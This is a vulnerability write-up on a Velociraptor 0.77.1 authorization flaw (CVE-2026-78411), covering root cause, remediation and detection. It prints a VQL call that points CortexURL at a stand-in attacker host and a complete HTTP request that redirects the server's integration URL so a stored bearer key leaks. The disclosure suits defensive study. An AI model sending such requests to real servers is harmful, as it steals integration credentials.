The short version
Velociraptor 0.77.1 exposed two paths to client metadata. The VQL path required
SERVER_ADMIN when the target was the reserved server pseudo-client, while
the RPC checked only LABEL_CLIENT and forwarded the target unchanged.
An investigator could alter server integration metadata. In the lab, changing
only CortexURL preserved an existing CortexKey; the next legitimate Cortex
invocation sent that stored bearer secret to a controlled listener. The issue
was fixed before 0.77.3 and is tracked as
CVE-2026-78411.
At a glance
| Field | Detail |
|---|---|
| Tested version | Velociraptor 0.77.1, commit 3137c7f71 |
| Fixed version | 0.77.3 |
| Vulnerability class | Incorrect authorization, CWE-863 |
| Vendor affected range | Velociraptor on Linux before 0.77.3 |
| Required access | Account with LABEL_CLIENT; tested as investigator |
| Demonstrated impact | Redirection and disclosure of a stored integration secret |
| Researcher estimate | High |
| Credits | Yuval Miller and Leon Kayaliev |
Establishing the intended rule
The guarded VQL equivalent was called first:
SELECT client_set_metadata(
client_id='server',
metadata=dict(CortexURL='http://attacker.invalid/')) AS Result
FROM scope()
Velociraptor rejected the operation with PermissionDenied: [SERVER_ADMIN].
That established the intended authorization boundary for the reserved server
client.
Reproduction through the RPC
Using the same investigator account and an ordinary authenticated GUI session, the equivalent API request targeted the reserved ID:
POST /api/v1/SetClientMetadata HTTP/1.1
Authorization: Basic <investigator credentials>
Cookie: _gorilla_csrf=<cookie>
X-CSRF-Token: <token>
Content-Type: application/json
{"client_id":"server","add":[{"key":"CortexURL","value":"http://127.0.0.1:18080/"}]}
On 0.77.1, the API returned HTTP 200 and the server metadata changed.
For a safe consequence test, an administrator had stored a disposable Cortex key. The investigator changed only the URL, leaving the separate key untouched. When an administrator legitimately invoked the Cortex integration, a loopback listener received a request containing the disposable bearer value.
The actor did not need permission to read metadata or prior knowledge of the key. The test URL and key were removed and the original metadata restored.
Why the disposable secret mattered
Writing metadata proved the policy mismatch, but it did not by itself prove
secret disclosure. I used a fresh Cortex key and a loopback listener so the
consequence could be demonstrated without exposing a production credential or
sending it off-host. Changing only CortexURL was also intentional: it showed
that an existing secret could remain unreadable to the actor yet still be
released later by a trusted integration.
I treated the VQL denial as the negative control and kept the account, target, and requested field constant across entry points. The consequence test then used a disposable key and a loopback destination so no production credential or off-host receiver was involved.
Root cause
The VQL implementation deliberately changed the required permission to
SERVER_ADMIN when client_id == "server". The RPC handler checked only
LABEL_CLIENT, did not apply the reserved-ID rule, and forwarded the caller’s
ID directly to ClientInfoManager.SetMetadata.
This was a structural authorization bug: two entry points reached the same sensitive operation, but only one enforced the specialized policy.
Source-to-consequence trace
The RPC handler is ApiServer.SetClientMetadata() in api/clients.go. It
required LABEL_CLIENT for every target and forwarded in.ClientId to
ClientInfoManager.SetMetadata() without recognizing the reserved server ID.
By contrast, vql/server/clients/metadata.go changed its required permission
to SERVER_ADMIN when the target was
constants.VELOCIRAPTOR_SERVER_CLIENT_ID.
The Cortex integration makes the state change security-relevant.
artifacts/definitions/Server/Enrichment/CortexAnalyzer.yaml reads
CortexURL and CortexKey from server metadata and sends the key as a bearer
credential to the configured URL. Changing only the URL therefore redirects a
future trusted request while leaving the secret itself unreadable through the
attacker’s account.
The code-level minimum is LABEL_CLIENT, held by both stock analyst and
investigator roles in the tested tree. The public advisory describes an
investigator; the report also identified the weaker permission boundary. The
article records both rather than silently choosing one.
Impact boundaries
The demonstrated secret disclosure required a configured integration to run after the metadata change. The live proof used a legitimate administrator invocation. This report did not rely on a separate server-artifact execution bypass and did not claim standalone server-host code execution.
Remediation
Upgrade to Velociraptor 0.77.3 or later. The vendor fix in
1acdba3b
adds the reserved-ID SERVER_ADMIN branch to the RPC handler, bringing it in
line with the VQL entry point. Enforcing the same invariant inside the shared
metadata service would be additional hardening against future callers; it is
not where this patch placed the check.
Before upgrading, audit changes to the reserved server client’s metadata and review outbound integration traffic for unexpected destinations.
Detection should join three otherwise ordinary events: a non-administrator
changing metadata for the server pseudo-client, a reserved integration URL
changing without its corresponding key, and a later outbound request to a new
destination. Logging only the final integration request loses the actor who
created the redirect; logging only the metadata write loses the disclosed
secret’s destination.
Disclosure timeline
| Date | Event |
|---|---|
| 2026-08-05 | Vulnerability reported to Rapid7 |
| 2026-10-05 | Rapid7 confirmed remediation and closed ticket 140169 |